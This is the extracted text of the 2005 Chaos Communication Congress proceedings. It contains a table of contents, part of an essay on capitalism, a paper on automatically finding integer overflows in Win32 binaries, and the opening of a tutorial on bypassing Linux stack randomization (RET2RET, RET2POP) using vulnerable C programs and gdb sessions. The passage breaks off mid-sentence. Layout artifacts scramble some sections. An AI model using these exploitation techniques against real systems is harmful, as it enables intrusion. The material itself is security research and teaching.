============== Page 1/1 ============== Dedicated to the prettiest one. 22. Chaos Communication Congress Proceedings Papers of the 22. Chaos Communication Congress 27. - 30. December 2005 Berlin, Germany (Old Europe) https://www.ccc.de/congress/2005/ Chaos Computer Club Lokstedter Weg 72 D-20251 Hamburg Support for conference speakers: Fuldablick 9 D-34302 Guxhagen 22C3 Proceedings published by: Verlag Art d’Ameublement Marktstraße 18 D-33602 Bielefeld ISBN: 3-934636-04-7 Coverimage and unicorn: b9punk Cover Design: Antenne Layout: wetterfrosch Some rights reserved - they belong to the author of the respective paper. Except where otherwise noted, a paper is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 2.0 Germany License. http://creativecommons.org/licenses/by-nc-nd/2.0/de/ You are free to copy, distribute, display, and perform the work under the following conditions: Attribution. You must attribute the work in the manner specified by the author or licensor. Noncommercial. You may not use this work for commercial purposes. No Derivative Works. You may not alter, transform, or build upon this work. For any reuse or distribution, you must make clear to others the license terms of this work. Any of these conditions can be waived if you get permission from the copyright holder. Your fair use and other rights are in no way affected by the above. This is a human-readable summary of the Legal Code: http://creativecommons.org/licenses/by-nc-nd/2.0/de/legalcode REPORTS 7 5 Thesis on Informational-Cognitive Capitalism 17 Academic tools and real-life bug finding in Win32 25 Advanced Buffer Overflow Methods [or] Smack the Stack 35 A guided tour to European IT lobbying 41 Anonymous Data Broadcasting by Misuse of Satellite ISPs 49 Autodafé: An Act of Software Torture 59 Bad TRIPs 63 Collateral Damage 75 COMPLETE Hard Disk Encryption with FreeBSD 103 Der Hammer: x86-64 und das um-schiffen des NX Bits 125 Developing Intelligent Search Engines 131 Digital Identity and the Ghost in the Machine 143 Entschwörungstheorie 149 Esperanto, die internationale Sprache 155 Fair Code 165 Free Software and Anarchism 179 Fuzzing 185 Geometrie ohne Punkte, Geraden & Ebenen 191 Hacking into TomTom Go 199 Hacking OpenWRT 211 Hopalong Casualty 219 Hosting a Hacking Challenge - CTF-style 227 Intrusion Detection Systems 235 Lyrical I 237 Magnetic Stripe Technology 249 Memory allocator security 255 Message generation at the info layer 267 Open Source, EU funding and Agile Methods 273 PyPy - the new Python implementation on the block 279 Software Patenting 285 The Cell Processor 293 The truth about Nanotechnology 303 The Web according to W3C 311 Transparenz der Verantwortung in Behörden 323 Unix sanity layer 331 Wargames - Hacker Spielen 351 Was ist technisches Wissen? 371 WSIS - The Review 377 “Xbox” and “Xbox 360” Hacking 3 | | 4 5 Thesis on Informational10 Cognitive Capitalism George N. Dafermos 5 | | 6 5 THESIS ON INFORMATIONAL-COGNITIVE CAPITALISM 1 Recession is here, everywhere. Whether recession is artificial and thus compatible with the axiomatic of capitalism (that is, the tendency toward a world market), or forced and thus a threat to capitalism is still debated. From the perspective of Capital, what is more important is that the historic magnification, which has been defining capitalism since the 15th century, is not likely to maintain its pace or character. There are no more barbarians to civilise, no more virgin lands to conquer and colonise. The new barbarians are refined, the new virgin lands are not defined by geographical parameters. Primitive accummulation has been completed; explosion now gives way to implosion. It was reckoned that a myth central to capitalism came full circle in three generations: I would start from scratch with empty hands and empty pockets, slowly but gradually accummulate rights and money, then build a house, find a wife with whom I would make a family, then have a son and raise him, and, sooner or later, die. My son would repeat the process once more, but his son – my grandson would inherit more than my son did, say three times more. In the elapsed space of three generations, total wealth would have multiplied by nine times. This myth starts to lose all relevance: the historic magnification of capitalism, based on longestablished materialist notions of value, is no longer feasible. In all probability, my grandson will not inherit three houses. And here comes the reversal of perspective of Capital: as the concept of the Spectale is conceived to its full radicality, as a process of generalised social abstraction, the commodity-form implodes to encompass and invest all of shared lived experience. The commodity-form has gone well beyond the romantic stage of fetishism: while there is no doubt that both the use- and exchangevalue of a product now largely stem from intangible characteristics, such as perceived sex-appeal, "coolness", and ephemeral trendiness – a reality of contemporary commerce which compels us to rethink value along the lines of what Jean Baudrillard calls sign value – commodification does not stop at the twilight of shopfronts and commodity shelves, that is, the sphere of materiality, but it extends beyond them to encompass all of the immaterial. The leverage of commodification has been so great that goods long considered public, such as century-old knowledges pertaining to medical treatments and the cultivation of the land have been appropriated1. In the age of universality of the spectale, the ultimate commodity is the time of our own lives, that is, the relationships and experiences that give meaning to its space. "The spectacle is the moment when the commodity has attained the total occupation of social life"2. In effect, nothing escapes vulgar commodification. Even some of the most subversive and anti-commercial manifestations of shared lived experience have capitulated. Indicatively, in the space of the last fifteen years, rave has metamorphosed from an anti-commercial, underground social movement and cultural phenomenon into a lucrative industry of cool. With the notable exception of freeraves in England, the commodification of the pulse of rave is ensured by the increasing centrality of the figure of the Star-DJ to the packaged experience (and the ephemeral trendiness of the Club). The associated process of social formation during a rave is 1 For example, farmers and indigenous people in many regions have painfully discovered that recipes, knowledges, and techniques that had been in common use for medical or agricultural purposes for centuries have now passed into the ownership of the global pharmaceutical complex in the institutionalised form of patents. 2 Debord, Guy. 1983. The Society of the Spectacle. Translated by Fredy Perlman et al., Detroit: Black & Red, #42, at http://library.nothingness.org/articles/SI/en/pub_contents/4 . 2 7 | | 8 5 THESIS ON INFORMATIONAL-COGNITIVE CAPITALISM 9 | | 10 5 THESIS ON INFORMATIONAL-COGNITIVE CAPITALISM 11 | | 12 5 THESIS ON INFORMATIONAL-COGNITIVE CAPITALISM 13 | Academic tools and real-life bug finding in Win32 15 | UQBTng: a tool capable of automatically finding integer overflows in Win32 binaries Rafal Wojtczuk Warsaw University rafal.wojtczuk@mimuw.edu.pl November 27, 2005 Abstract— This paper outlines the recent work by the author to develop UQBTng, a tool capable of automatic detection of exploitable integer overflow bugs in Win32 binaries. A brief description of this programming error is given, along with rationale for focusing on Win32 assembly security checking. The tool heavily relies on the excellent UQBT[1] package; the description of the applied enhancements to UQBT is presented. Although definitely a work in progress, UQBTng already can produce results helpful for a security researcher; final section includes the analysis of the run of the tool against a binary (implementing a certain service in Windows 2000) with known integer overflows. Index Terms— computer security, integer overflow, Windows, UQBT, program verification. C code2 . However, this is an important issue. Particularly, MS Windows operating systems family is of great interest to security researchers, due to its popularity, long history of known security problems, and probably high number of still undiscovered flaws [5]. For all the reasons mentioned above, the author decided to invest some effort to create a tool capable of searching the Win32 assembly code for a particular vulnerability - the integer overflow bug. The tool is meant to require as little interaction from an user as possible - average size of a program or library on a typical Win32 system is measured in hundreds of kilobytes, and we cannot afford to annotate or otherwise specify semantics of too many points in the code. II. T HE INTEGER OVERFLOW VULNERABILITY I. I NTRODUCTION T HERE is a plethora of academic papers on verification of software. Unfortunately, their usefulness for a security practician dealing with common flaws in popular operating systems and applications [2] is usually very limited, for variety of reasons. Some verification methods require a lot of effort (and knowledge) from the user to be put into formal proof of correctness, using general purpose theorem provers. Other methods, most notably ones related to model checking, require to build a model of a system to be proved, which is both labor-intensive and error prone. Finally, many papers describe methods which sound appealing, but which are applicable only to small programs. Therefore academic papers are seldom posted to or discussed on mainstream security mailing lists [3]. There are notable exceptions though. One particularly promising way is to give up trying to prove full correctness of a program (let’s name it ”verification”), as the associated cost is high. Instead one may attempt to check certain properties of a program, which are known to cause security problems1 . Ideally such properties should be local and in order to check them, one does not need to know full semantics of an analyzed program. Let’s name this approach ”checking”; a good example, with real security vulnerabilities discovered, can be found in [4]. Current popular OSes are usually written in C and C++. If there is no source available, one is faced with analyzing the resultant assembly code. While there are a number of papers related to verification or checking of C code, very few tools exist which are capable of advanced reasoning about compiled 1 Observe such an approach is often a basis of a security audit of software | 16 The title vulnerability is the cause of many recent serious security problems in many popular operating systems, even in the components designed to be secure[6]. Particularly, the Microsoft security bulletin MS05-053[10] describes a vulnerability in the GDI32.DLL library, which was remedied by adding over 50 integer overflow checks to this library . The nature of this type of vulnerability is simple - due to the limited range of numbers which can be stored in a C language integer variable, it is possible that during arithmetical operations (most often addition or multiplication) the value of the variable may silently overflow and wrap, and become smaller than the sum (or product) of the operands. If the result is used as the size of memory allocation, then subsequently a buffer overflow can occur, which may yield the attacker full control over the code execution. Example: data, unsigned int void* vuln func(void* len) { unsigned int size=len+1; char* buf=malloc(size); if (!buf) return NULL; memcpy(buf, data, len); buf[len]=0; return buf; } This function copies user-supplied data into a new buffer and null-terminates it. If an attacker can pass 0xffffffff as 2 The ”binaudit” tool, announced on www.sabre-security.com site, could be a very interesting piece of code (judging at least by the reputation of its author), yet for a long time it is still in development, and little details are known on its internals ACADEMIC TOOLS AND REAL-LIFE BUG FINDING IN WIN32 the ”len” parameter, an integer overflow will happen when calculating ”size” variable; malloc will allocate a memory block of size 0, and the subsequent memcpy will overwrite heap memory. This vulnerability has an important feature - usually a prover/checker does not have to understand loops semantic to detect this bug; simple arithmetics should suffice. It is well known that reasoning about loops is difficult3 - usually it is required to manually provide a loop invariant, which is not trivial. Therefore, if we focus on detecting integer overflows in memory size calculations, we have a good chance of succeeding with automated checking. Also, this vulnerability is usually quite local, in the sense that the size calculation (which should include a check for integer overflow) is usually close to the actual memory allocation, which makes it possible to reliably detect the presence or lack of the vulnerability by analyzing a single function or a small number of functions. operations is sufficient; however, in most cases, it is not enough. But as noted above, integer overflows are usually not caused by calculations implemented by a loop. Therefore, for the purpose of checking for integer overflows only, we can remove all looping constructions from the analyzed code, without significant loss of functionality. In such case, checking with CBMC is fully automatic; if an assertion does not hold, an appropriate counterexample is presented to the user. C. UQBT: University of Queensland Binary Translator CBMC[7] is a checker capable of automatically proving properties of ANSI C code. The properties are embedded in the checked code in a form of usual C ”assert” statements. CBMC is unique in its ability to support almost all features of C language; particularly, the following constructions are handled well (while other C code checkers usually have problems with them): • arithmetics with bounded integers • pointer arithmetics • bitwise operations • function pointers CBMC works best on a code without loops. When a loop is present, CBMC can be instructed to unwind it a couple of times and possibly verify that a given number of unwind UQBT[1] is an executable translator - it takes as input a binary file from an operating system A, decompiles it, and then it can produce a binary for a different system B, preserving the binary semantics. For our purposes, the most important capability of UQBT is its ability to decompile an executable into a graph of functions. Each instruction in a function is represented by a ”semantic string”, a data structure capturing the semantics of an instruction. A lot of code is available to process semantic strings; for example, there is a function which can replace each occurrence of a subexpression (say, a dereference of a location pointed by a frame pointer minus a constant offset) in a semantic string with another expression (say, a semantic string describing a local variable). Therefore it is possible to process the instructions effectively and conveniently. Another tool was considered for the task of decompilation: The Interactive Disassembler[8]. However, IDA has numerous disadvantages: • The advanced functionality is not documented (besides sparse and insufficient comments in the header files). 5 • Probably the internal instruction representation is too close to the actual assembly; on the other hand, UQBT uses quite high level, portable representation. • There is no source available; it is a non-free software. The above issues (and a few others, less important) decided against IDA. Admittedly, IDA has some advantages; it is a very stable software and its accuracy in some aspects is very appealing (particularly, most of the PE file format analysis functionality implemented by the author so far for UQBTng is already present in IDA). However, in the long run UQBT should be the better choice. UQBT is a large piece of software; it can handle Pentium and Sparc architecture, and recognizes ELF, MSDOS .exe and (to some extent) Windows PE file formats. A useful feature is its ability to produce a C code from a binary; though not necessary for analysis (actually, analysis is done on the semantic strings, not on the C code), this makes it easy to produce input which a theorem prover or checker can work on. For our needs, the ability to decompile Win32 PE files is crucial. Functionality of UQBT had to be enhanced to process PE input files more accurately. The next section describes the most important modifications. 3 Yes, undecidability. Each good paper should include this word at least once. 4 UQBTng uses a development version of CBMC, provided by its author 5 The author tried to assess some aspects of IDA advanced functionality, however it was difficult due to the lack of the documentation; therefore this description may be not 100% accurate III. N ECESSARY COMPONENTS A. Summary In order to reliably reason about the assembly code, two components are needed: • a decompiler capable of decoding single assembly instructions into a form with easily accessible semantics, as well as recovering higher level C code constructions; it is not necessary to produce a real C code, but as we will see we will choose this way • theorem prover or model checker, capable of reasoning about the code semantics As we will see, we will take a (modified and enhanced) decompiler, add functionality to automatically annotate the decompiled code with assertions which check for integer overflows, and then feed the decompiled code into the checker to verify the existence of integer overflows. Two excellent, publicly available academic tools: UQBT[1] and CBMC[7] were chosen for this task4 ; they are briefly described below. B. CBMC: Bounded Model Checking for ANSI-C 17 | IV. UQBT MODIFICATIONS Conv name Args passed... cdecl stdcall thiscall on the stack on the stack first arg in register ecx, the rest on the stack first two args in ecx, edx, the rest on the stack A. Summary Among all the binary file formats supported by UQBT, the ELF format is handled most exhaustively. In case of PE file format (the default format for executables and libraries on Windows OS), significant enhancements had to be added in order to capture the semantics of the code. Some of them are related to peculiarities of the compiler; other are forced by CBMC properties. The most important code additions are enumerated below. B. Library functions Certain library functions (for example LocalAlloc , wcslen ) are crucial in the assertion generation algorithm (described in the following section). As UQBT did not recognize the library function usage in PE files, appropriate support had to be added. In order to get the list of the imported functions, it is enough to locate in the PE file the data structure named ”import lookup table” and parse it (see [11]). For each library function F, in the address space of the Win32 process there exists a 32bit location (an import address table6 element) which is filled with the address of F by the library loader. The library function can be called in three different ways: 1) Direct call of the address stored in IAT entry: call ds:iat entry 2) Call to a ”thunk” function, which consists of a single jump instruction: jmp ds:iat entry 3) Assignment to a register, then call register: mov ebx,ds:iat entry; call ebx This convention saves space when more that one call to the same library function is made subsequently. In the first two cases, it is easy to determine whether a given instruction is in fact a library function call: just check whether the argument to the ”call” or ”jmp” instruction is within import address table range. However, because of the third case, for each ”call register” instruction, we have to find the instruction X which assigns the register. The instruction X can be quite far away from the place where the actual function call takes place. Therefore, a reliable algorithm to trace back the execution flow had to be implemented; particularly, jumps and conditional jumps have to be back-traced. C. Calling conventions The calling convention describes how parameters and return values are arranged for a function call. In case of ia32 architecture, the most commonly used convention (named ”cdecl”) is: 1) Parameters are passed on the stack 2) Parameters are removed from the stack by the caller UQBT supports only the above convention. However, Win32 binaries use the following conventions: 6 IAT for short | 18 fastcall Who removes args caller callee callee callee ”Fastcall” convention is used very rarely and can be ignored. ”Thiscall” convention is used for passing ”this” parameter to a class function; as currently we do not handle object code well for many other reasons7 , we choose to ignore it for now as well. This leaves us with the problem of distinguishing between cdecl and stdcall functions. The failure to do it properly results in incorrect view of the stack after the function has returned; it is particularly damaging when the analyzed procedure has not set a frame pointer. If a called function is implemented in the code we are analyzing, it is easy to find out its convention type: if the return from the function is implemented by a ret instruction, then it is a cdecl function; if retn N instruction is used, then it is a stdcall function, and its arguments occupy N bytes. However, in case of a library function, this method obviously does not work. The following solutions to the problem were considered: 1) Retrieve the calling convention information from header .h files shipped in WINDDK. Disadvantage: many Win32 library functions are undocumented (in header files or anywhere else). 2) Retrieve the calling convention from the debugging symbol file (.pdb). Imported functions honoring stdcall convention are represented as name@N, where name is the function name, and N is the amount of space occupied by the arguments. Disadvantage: usually debugging symbols are not available (Windows OS binaries are an exception to this rule), so relying on them would limit the applications of the tool. 3) Assume that functions imported from MSVCRT.DLL use cdecl convention, and other functions use stdcall. Detect exceptions to this rule by observing ”stack type assumption violated” error messages in the logs, and then manually annotate offending functions. Disadvantage: for each analyzed binary, a few functions must be manually annotated. The last option was chosen, as it provides maximum flexibility with acceptable manual labor overhead. Nontrivial amount of code was written in order to determine the amount of parameters passed to each call to library function, as well to fix the stack pointer after the stdcall function return. D. Function prologue and epilogue patterns UQBT assumed that instructions which constitute a function prologue (or epilogue) are not intermixed with other 7 see the list of possible extensions in the last chapter ACADEMIC TOOLS AND REAL-LIFE BUG FINDING IN WIN32 instructions. This assumption does not hold in case of binaries compiled with Visual C compiler; particularly ebx, esi and edi register saving is often delayed. This sometimes created a condition where registers save and restore were not paired, resulting in stack height inconsistencies. In order to solve this problem, register save/restore instructions were disassociated from prologue/epilogue patterns, and now they are decoded generically. E. Handling of ”finally” functions The ”finally”8 construction is implemented by Visual C by creating functions which exhibit two anomalies: 1) They access the caller frame (do not save or set ebp register, and access unmodified ebp register) 2) Sometimes they perform unwind operation, returning directly into its caller’s callee. These functions are detected by examining the Structured Exception Handling setup code and extracting the appropriate pointers. Currently processing of such functions is disabled. F. Register overlap handling In ia32 architecture, there are instructions which operate on 8bit or 16bit parts of 32bit registers. In the C code generated by UQBT this feature is handled by defining each 32bit register as a union, consisting of a single 32bit location, two 16bit locations and four eight bit locations: union { int32 i24; struct { int16 h0; int16 dummy1; } h; struct { int8 b8; int8 b12; int8 dummy2; int8 dummy3; } b; } i24; 32bit register eax is modeled by i24.i24, 16bit register ax is modelled by i24.h.h0, and 8bit registers al and ah are modelled by i24.b.b8 and i24.b.b12, respectively. Obviously, any modification to e.g eax model automatically results in modification to ax model. Unfortunately, CBMC forbids access to a union member if the last operation on the union modified other member, the reason being that semantics of such operations is endiannessdependent and should be avoided. The solution is to abandon the above union trick and declare separate storage for each register. To minimize the code changes, it is enough to change the top ”union” keyword in the previous code fragment to ”struct”. Then we treat the 32bit register as the primary one, and we will update registers before or after the assignment: 8 a part of try-finally construction used with exceptions before assignment - if a smaller register is in RHS, update this smaller register content with appropriate portion of the 32bit register • after assignment - if a smaller register is in LHS, update the appropriate portion of the 32bit register with this smaller register For instance, the instruction and al, 2 will be translated to • /* 8bit regs in RHS update:*/ i24.b.b8 = ((unsigned int)i24.i24)%0x100; /* the original assignment */ i24.b.b8 = ((int32)i24.b.b8)&(2); /* 8bit reg LHS update */ i24.i24 -= ((unsigned int)i24.i24)%0x100; i24.i24 += (unsigned int)i24.b.b8; The rational assumption is that non-32bit operations are much less frequent than the 32bit operations, therefore the number of the above updates will be a fraction of the number of assignments. In the analyzed case of the NWWKS.DLL binary, out of 17049 generated assignments 394 were the ones related to overlapping registers handling. G. Inlined, optimized common functions In a compiled C code, probably all occurrences of the Pentium instructions with ”rep” prefix are generated by inlining an optimized version of one of the following functions: • strlen • memcpy • memset It is beneficial to replace code fragments implementing above functions with calls to an appropriate function. UQBT includes a few patterns of such constructions, however they did not match the code generated by VC compiler. Appropriate support has been added. V. A DDING CHECKS FOR INTEGER OVERFLOW IN MEMORY ALLOCATION The following algorithm was used to generate assertions which check for integer overflow in memory allocation: • locate all occurrences of calls to functions which allocate memory; LocalAlloc and GlobalAlloc functions are handled by default, other memory allocation functions can be specified in a config file • execute find and annotate algorithm with arguments: the function actual parameter determining the size of allocated memory, and the address of the code where the function is called The algorithm find and annotate(sem str, code address) performs the following steps: • if the sem str is a constant, exit • starting at the instruction with the address code address in the control flow graph, trace back through all execution paths looking for an assignment A whose left hand side is related (see the next two points) to sem str 19 | if LHS of A is exactly sem str, then precede A with an assertion checking whether integer overflow can happen in A; for instance, for a 32bit addition v1 = v2 + v3 generate an assertion assert( (unsigned)v2 ≤ 4294967295 - (unsigned)v3 ) similarly for multiplication with a constant. • if sem str is a register Rshort and LHS of A is a register Rlong which is wider than and overlaps Rshort, then place after A an assertion checking whether the value of Rlong is not larger than the maximum value of the type of Rshort • for each subexpression S of the right hand side of A, execute find and annotate(S, address of A) As the above algorithm traverses a (possibly cyclic) graph, care must have been taken to avoid infinite looping. Due to the complexity if the problem, no action is taken to detect pointer usage condition, so in the following example: varptr=&lenvar lenvar=eax; varptr+=16; LocalAlloc(heapdesc, lenvar); the addition instruction will not be annotated. It is believed that intermixing operations on a variable and operations on a pointer to the same variable should be very rare in a C compiled code. • imp DbgPrint imp NwlibMakeNcp • imp wsprintfW These functions were added to the config file common.h and marked as ”cdecl” functions. The next run of the tool finished without errors. • • D. Additional specification for CBMC As stated above, UQBTng is in an early alpha state. For most binaries, it will not produce satisfactory results due to inability to follow pointers usage. However, a test case is available which demonstrates the current capabilities of the tool. The first run of the checker produced over 20 alerts about violated assertions. The analysis of the first case quickly discovered the reason: the respective code looked similar to this example: eax = imp wcslen(somestring); eax = eax*2+2; eax = LocalAlloc(heapdesc, eax) As we see, the length of an Unicode string is calculated and the appropriate amount of memory is allocated (probably for future copy operation). As the imp wcslen function measures the amount of memory occupied by a string (by searching for a terminating two null bytes), it is not possible to cause integer overflow in the above calculation10. Moreover, it makes sense to assume that the string length is limited by, say, RPC runtime. Therefore, the following function definition was added to the set of functions produced by UQBTng: unsigned int imp wcslen(arg) { return nondet uint()%16000000; } thus effectively informing the checker that maximum value returned by imp wcslen is limited. After this addition (and analogous for function imp strlen) the next run of the checker returned seven failed assertions; they are briefly analyzed below. B. The test target E. Seven failed assertions Microsoft Security Bulletin MS05-046 titled ”Vulnerability in the Client Service for NetWare Could Allow Remote Code Execution” describes a security hole in one of OS services. Successful exploitation of this vulnerability enables an attacker to take full control of the affected system. This service is implemented by a library nwwks.dll. UQBTng was run with this library as an input. Among the seven failed assertions, three were caused by real bugs; exploitation of each of these bugs enables an attacker to perform a heap overwrite and gain the control over execution of the service. One false positive was caused by the lack of information about the semantics of the library function imp RtlInitUnicodeString. Two more false positives were caused by unsupported pointer operations. The last false positive (in function proc57) was caused by the fact that currently CBMC is instructed to check each generated function separately. When CBMC was passed as arguments the file proc57.c along with the files containing the callers of proc57(), namely proc12.c and proc30.c, the checking succeeded. It is a straightforward task to create VI. P RELIMINARY RESULTS A. Summary C. Additional specification for UQBT In order to obtain better coverage of the code, the list of all functions along with their addresses were retrieved from the debugging symbols of nwwks.dll library and made available to UQBTng. The first run of the tool produced a couple of ”stack type assumption violated” errors. Manual inspection of the code fragments9 referenced in the above errors quickly determined the three library functions which apparently not did obey the default ”stdcall” calling convention, namely 9 As usual, IDA was indispensable for manual code analysis | 20 10 On the contrary, let’s assume that a certain string representation data structure stores the string length explicitly in a field X, and a malicious party may craft a structure whose actual size may not be equal X. The data structure BSTR, used in COM, is an example. Then, if a function analogous to imp wcslen simply returned contents of the field X, integer overflow in a calculation analogous to the above would be possible. ACADEMIC TOOLS AND REAL-LIFE BUG FINDING IN WIN32 scripts which will check each function separately, then check each function together with its callees and callers, etc etc. The problem is that CBMC sometimes requires huge amount of RAM even to process a single small function; some work is needed to minimize the memory requirements. Until this issue has been resolved, the implementation of checking multiple functions simultaneously is deferred. F. Statistics The target nwwks.dll binary has size 60688 bytes. On a machine with Pentium 4 2.4 GHz processor, UQBT generated 215 functions, totaling 661946 bytes of C code, in 20 seconds; maximum RAM usage reached 112 MB. The calling convention of 3 library functions had to be specified manually in order to finish decompilation without errors. For 60 LocalAlloc invocations, 132 assertions were generated; simplified semantics of two library functions had to be specified in order to check most of the assertions successfully. Afterwards, the run of the checker took ca 6 minutes, with top RAM usage at ca 700 MB; seven failed assertions were returned, among which three were caused by real bugs. [3] Bugtraq mailing list, http://www.securityfocus.com/archive/1 [4] Junfeng Yang, Ted Kremenek, Yichen Xie, and Dawson Engler, MECA: an Extensible, Expressive System and Language for Statically Checking Security Properties, Proceedings of the 10th ACM conference on Computer and communication security (ACM CCS), 2003. [5] Immunity, Inc., Microsoft Windows: A lower Total Cost of 0wnership, http://www.immunitysec.com/downloads/tc0.pdf [6] Remotely exploitable integer overflow in openssh, http://www.openssh.com/txt/preauth.adv [7] Daniel Kroening, Bounded Model Checking for ANSI-C, http://www.cs.cmu.edu/˜modelcheck/cbmc/ [8] DataRescue, Inc., The Interactive Deassembler, http://www.datarescue.com/idabase/index.htm [9] Rybagowa, Seven years and counting, http://www.lvegas.com/little cbtc proceedings/27 02 04.html [10] Microsoft Security Bulletin MS05-053, http://www.microsoft.com/technet/security/Bulletin/MS05-053.mspx [11] Microsoft Portable Executable and Common Object File Format Specifi cation, www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx [12] Microsoft Security Bulletin MS05-046, http://www.microsoft.com/technet/security/Bulletin/MS05-046.mspx VII. F UTURE WORK The most important short term goal is to modify the decompiler so that CBMC can check more pointer operations. To achieve this, probably some form of type information recovery should be implemented. Another two features can be implemented with little effort. Firstly, it should be possible to check for integer underflows in the ”size” argument to memcpy function, using techniques similar to the above. Secondly, checking for format string bugs should be simple - it is enough to check that the format argument is effectively a string constant (possibly passed through a few levels of function calls). A more challenging task would be to provide support for C++ code. The main problem is how to handle virtual function calls; it would be interesting to investigate in how many cases it is possible to deduce automatically what the type of an object is, and consequently which virtual function is called at a given place in the code. VIII. C ONCLUSION This paper documents the current state of the UQBTng tool. Judging by the performed experiments, it is possible to detect exploitable integer overflow condition, while requiring little interaction from the user. Particularly, it appears that in order to receive good results, it is enough to specify semantics of only a few library function. Further development is needed to increase the tool’s capability of handling pointer dereferences of more complex data structures, but even currently the tool can be useful for a security researcher. R EFERENCES [1] Cristina Cifuentes and others, UQBT, http://www.itee.uq.edu.au/˜cristina/uqbt.html [2] SANS Institute, The Twenty Most Critical Internet Security Vulnerabilities, http://www.sans.org/top20/ 21 | Advanced Buffer Overflow Methods [or] Smack the Stack Cracking the VA-Patch Izik 23 | ----------------------------------------------------oO Smack the Stack Oo ( Advanced Buffer Overflow Methods ) Izik ----------------------------------------------------From time to time, a new patch or security feature is integrated to raise the bar on buffer overflow exploiting. This paper includes five creative methods to overcome various stack protection patches, but in practical focus on the VA (Virtual Address) space randomization patch that have been integrated to Linux 2.6 kernel. These methods are not limited to this patch or another, but rather provide a different approach to the buffer overflow exploiting scheme. VA Patch -------Causes certain parts of a process virtual address space to be different for each invocation of the process. The purpose of this is to raise the bar on buffer overflow exploits. As full randomization makes it not possible to use absolute addresses in the exploit. Randomizing the stack pointer and mmap() addresses. Which also effects where shared libraries goes, among other things. The stack is randomized within an 8Mb range and applies to ELF binaries. The patch intended to be an addition to the NX support that was added to the 2.6 kernel earlier as well. This paper however addressed it as solo. Synchronize ----------My playground box is running on an x86 box, armed with Linux kernel 2.6.12.2, glibc-2.3.5 and gcc-3.3.6 Stack Juggling -------------Stack juggling methods take their advantages off a certain stack layout/program flow or a registers changes. Due to the nature of these factors, they might not fit to every situation. RET2RET ------This method relies on a pointer previously stored on the stack as a potential return address to the shellcode. A potential return address is a base address of a pointer in the upper stack frame, above the saved return address. The pointer itself is not required to point directly to the shellcode, but rather to fit a byte-alignment. The gap between the location of the potential return address on the stack and the shellcode, padded with addresses that contain a RET instruction. The purpose of RET will be somewhat similar to a NOP with a tweak, as each RET performs a POP action and increase ESP by 4 bytes, and then afterward jumps to the next one. The last RET will jump to the potential return address and will lead to the shellcode. /* * vuln.c, Classical strcpy() buffer overflow */ #include #include #include | 24 ADVANCED BUFFER OVERFLOW METHODS #include int main(int argc, char **argv) { char buf[256]; strcpy(buf, argv[1]); return 1; } Starting with determining 'buf' variable addresses range on the stack (gdb) disassemble main Dump of assembler code for function main: 0x08048384 : push %ebp 0x08048385 : mov %esp,%ebp 0x08048387 : sub $0x108,%esp 0x0804838d : and $0xfffffff0,%esp 0x08048390 : mov $0x0,%eax 0x08048395 : sub %eax,%esp 0x08048397 : sub $0x8,%esp 0x0804839a : mov 0xc(%ebp),%eax 0x0804839d : add $0x4,%eax 0x080483a0 : pushl (%eax) 0x080483a2 : lea 0xfffffef8(%ebp),%eax 0x080483a8 : push %eax 0x080483a9 : call 0x80482b0 <_init+56> 0x080483ae : add $0x10,%esp 0x080483b1 : mov $0x1,%eax 0x080483b6 : leave 0x080483b7 : ret End of assembler dump. (gdb) Putting a breakpoint prior to strcpy() function invocation and examining the passed pointer of 'buf' variable (gdb) break *main+37 Breakpoint 1 at 0x80483a9 (gdb) run `perl -e 'print "A"x272'` Starting program: /tmp/vuln `perl -e 'print "A"x272'` Breakpoint 1, 0x080483a9 in main () (gdb) print (void *) $eax $1 = (void *) 0xbffff5d0 (gdb) Simple calculation gives 'buf' variable range [ 0xbffff6d8 - 0xbffff5d0 ] / ( 264 bytes ; 0x108h ) After establishing the target range, the search for potential return addresses in the upper stack frame begins (gdb) x/a $ebp+8 0xbffff6e0: 0x2 (gdb) x/a $ebp+12 0xbffff6e4: 0xbffff764 (gdb) x/a $ebp+16 0xbffff6e8: 0xbffff770 (gdb) x/a $ebp+20 0xbffff6ec: 0xb800167c (gdb) x/a $ebp+24 0xbffff6f0: 0xb7fdb000 25 | (gdb) x/a $ebp+28 0xbffff6f4: 0xbffff6f0 (gdb) The address [ 0xbffff6f4 ] is a pointer to [ 0xbffff6f0 ], and [ 0xbffff6f0 ] is only 24 bytes away from [ 0xbffff6d8 ] This, after the byte-alignment conversion, will be pointing inside the target range The byte-alignment is a result of the trailing NULL byte, as the nature of strings in C language to be NULL terminated combined with the IA32 (Little Endian) factor. The [ 0xbffff6f0 ] address will be changed to [ 0xbffff600 ], which in our case saves the day and produces a return address to the shellcode. RET2POP ------This method reassembles the previous method, except it's focused on a buffer overflow within a program function scope. Functions that take a buffer as an argument, which later on will be comprised within the function to said buffer overflow, give a great service, as the pointer becomes the perfect potential return address. Ironically, the same byte-alignment effect applies here as well, and thus prevents it from using it as perfect potential... but only in a case of when the buffer argument is being passed as the 1st argument or as the only argument. /* * vuln.c, Standard strcpy() buffer overflow within a function */ #include #include #include int foobar(int x, char *str) { char buf[256]; strcpy(buf, str); return x; } int main(int argc, char **argv) { foobar(64, argv[1]); return 1; } But when having the buffer passed as the 2nd or higher argument to the function is a whole different story. Then it is possible to preserve the pointer, but requires a new combo. (gdb) disassemble frame_dummy Dump of assembler code for function frame_dummy: 0x08048350 : push %ebp 0x08048351 : mov %esp,%ebp 0x08048353 : sub $0x8,%esp 0x08048356 : mov 0x8049508,%eax 0x0804835b : test %eax,%eax 0x0804835d : je 0x8048380 0x0804835f : mov $0x0,%eax 0x08048364 : test %eax,%eax 0x08048366 : je 0x8048380 0x08048368 : sub $0xc,%esp 0x0804836b : push $0x8049508 | 26 ADVANCED BUFFER OVERFLOW METHODS 0x08048370 : 0x08048375 : 0x08048378 : 0x08048379 : 0x08048380 : 0x08048382 : 0x08048383 : End of assembler dump. (gdb) call add nop lea mov pop ret 0x0 $0x10,%esp 0x0(%esi),%esi %ebp,%esp %ebp The gcc compiler will normally produce the 'LEAVE' instruction, unless the user passed the '-O2' option to gcc. Whatever the actual program code doesn't supply, the CRT objects will. Part of the optimization issues tearing down the 'LEAVE' instruction to pieces gives us the benefit of having the ability to use only what's needed for us. 0x08048380 : 0x08048382 : 0x08048383 : mov pop ret %ebp,%esp %ebp The combination of POP followed by RET would result in skipping over the 1st argument and jump directly to the 2nd argument. On top of that it would also be the final knockout punch needed to win this situation. Because CRT objects have been included within every program, unless of course the user specified otherwise, it is a rich source of assembly snippets that can be tweaked. Snooping around the CRT functions, another powerful combination can be found inside the '__do_global_ctors_aux' 